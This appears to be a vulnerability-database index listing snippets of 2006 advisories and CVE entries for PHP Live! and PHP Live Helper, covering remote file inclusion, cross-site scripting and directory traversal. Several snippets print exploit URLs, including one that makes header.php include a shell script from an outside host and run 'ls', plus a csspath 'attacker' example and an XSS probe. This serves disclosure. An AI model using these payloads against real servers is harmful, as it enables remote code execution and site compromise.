CVE-2006-3911: Undefined Security Weakness

PHP remote file inclusion vulnerability in OSI Codes PHP Live! 3.2.1 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the csspath parameter in 1 help.php and 2 setup/header.php...

phpliveInclude.txt

-PHP Live! v3.2 header.php Remote File Include Vulnerabilities By saudi hackrz --------------------------------------- Exploit : http://target/path/setup/header.php?csspath=http://sit/shell.txt?cmd=ls --------------------------------------- - SnIpEr.SA , KING18, BLACK HOURS, AL-ARAAB,...

PHP Live! v3.2 (header.php) Remote File Include Vulnerabilities

-PHP Live! v3.2 header.php Remote File Include Vulnerabilities By saudi hackrz --------------------------------------- Exploit : http://target/path/setup/header.php?csspath=http://sit/shell.txt?cmd=ls --------------------------------------- - SnIpEr.SA , KING18, BLACK HOURS, AL-ARAAB,...

PHP Live! <= 3.2.1 (help.php) Remote Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================ PHP Live! ----------- Execution: help.php?csspath=htt://attacker setup/header.php?csspath=htt://attacker ----------- Vendor: At the moment, there are no solutions from the vendor...

PHP Live! 3.2.1 - help.php Remote File Inclusion

PHP Live! 3.2.1 - help.php Remote File Inclusion Advisory: PHPLive 3.2 Remote Injection Vulnerability Release Date: 2006/07/23 Author: magnific Discovered: aneurysm.inc security reserach Risk: High Vendor Status: not contacted | no patch available Vendor Site: www.osicodes.com Contact:...

PHP Live! &lt;= 3.2.1 (help.php) Remote Inclusion Vulnerability

No description provided by source. Advisory: PHPLive 3.2 Remote Injection Vulnerability Release Date: 2006/07/23 Author: magnific Discovered: aneurysm.inc security reserach Risk: High Vendor Status: not contacted | no patch available Vendor Site: www.osicodes.com Contact: aneurysmincathotmaildotc...

phpliveHelper.txt

--------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote : Yes Local : No Critical Level :...

PHP Live Helper &lt;=&#40;[abs_path]&#41; Remote File Include Vulnerabilities

--------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote : Yes Local : No Critical Level :...

PHP Live Helper <= 1.x (abs_path) Remote File Include Vulnerability

Exploit for unknown platform in category web applications =================================================================== PHP Live Helper = 1.x abspath Remote File Include Vulnerability ===================================================================...

PHP Live Helper &lt;= 1.x (abs_path) Remote File Include Vulnerability

No description provided by source. --------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote :...

PHP Live Helper 1.x - 'abs_path' Remote File Inclusion

--------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote : Yes Local : No Critical Level :...

PHP Live Helper 1.x - abs_path Remote File Inclusion

PHP Live Helper 1.x - abspath Remote File Inclusion --------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author :...

CVE-2006-2394

Cross-site scripting XSS vulnerability in chat.php in PHP Live Helper allows remote attackers to inject arbitrary web script or HTML via the PHPSESSID parameter...

Cross site scripting

Cross-site scripting XSS vulnerability in chat.php in PHP Live Helper allows remote attackers to inject arbitrary web script or HTML via the PHPSESSID parameter...

CVE-2006-2394

Cross-site scripting XSS vulnerability in chat.php in PHP Live Helper allows remote attackers to inject arbitrary web script or HTML via the PHPSESSID parameter...

CVE-2006-2394

CVE-2006-2394 affects PHP Live Helper’s chat.php, where the PHPSESSID parameter enables cross-site scripting. The vulnerability allows remote attackers to inject arbitrary web script or HTML in the context of the affected site. Public references (including Exploit-DB) document a browser-executabl...

CVE-2006-2394: Undefined Security Weakness

Cross-site scripting XSS vulnerability in chat.php in PHP Live Helper allows remote attackers to inject arbitrary web script or HTML via the PHPSESSID parameter...

PHP Live Helper ASP&#40;chat.php&#41; XSS

================== Credit: Mr-X Site: www.alshmokh.com Email: [email protected] ================== Example:- /chat.php?action=showmain&PHPSESSID=XSS...

Directory traversal

Directory traversal vulnerability in 1 initiate.php and 2 possibly other PHP scripts in Turnkey Web Tools PHP Live Helper 1.8, and possibly later versions, allows remote authenticated users to include and execute arbitrary local files via directory traversal sequences in the language cookie, as...

CVE-2006-1478

Directory traversal vulnerability in 1 initiate.php and 2 possibly other PHP scripts in Turnkey Web Tools PHP Live Helper 1.8, and possibly later versions, allows remote authenticated users to include and execute arbitrary local files via directory traversal sequences in the language cookie, as...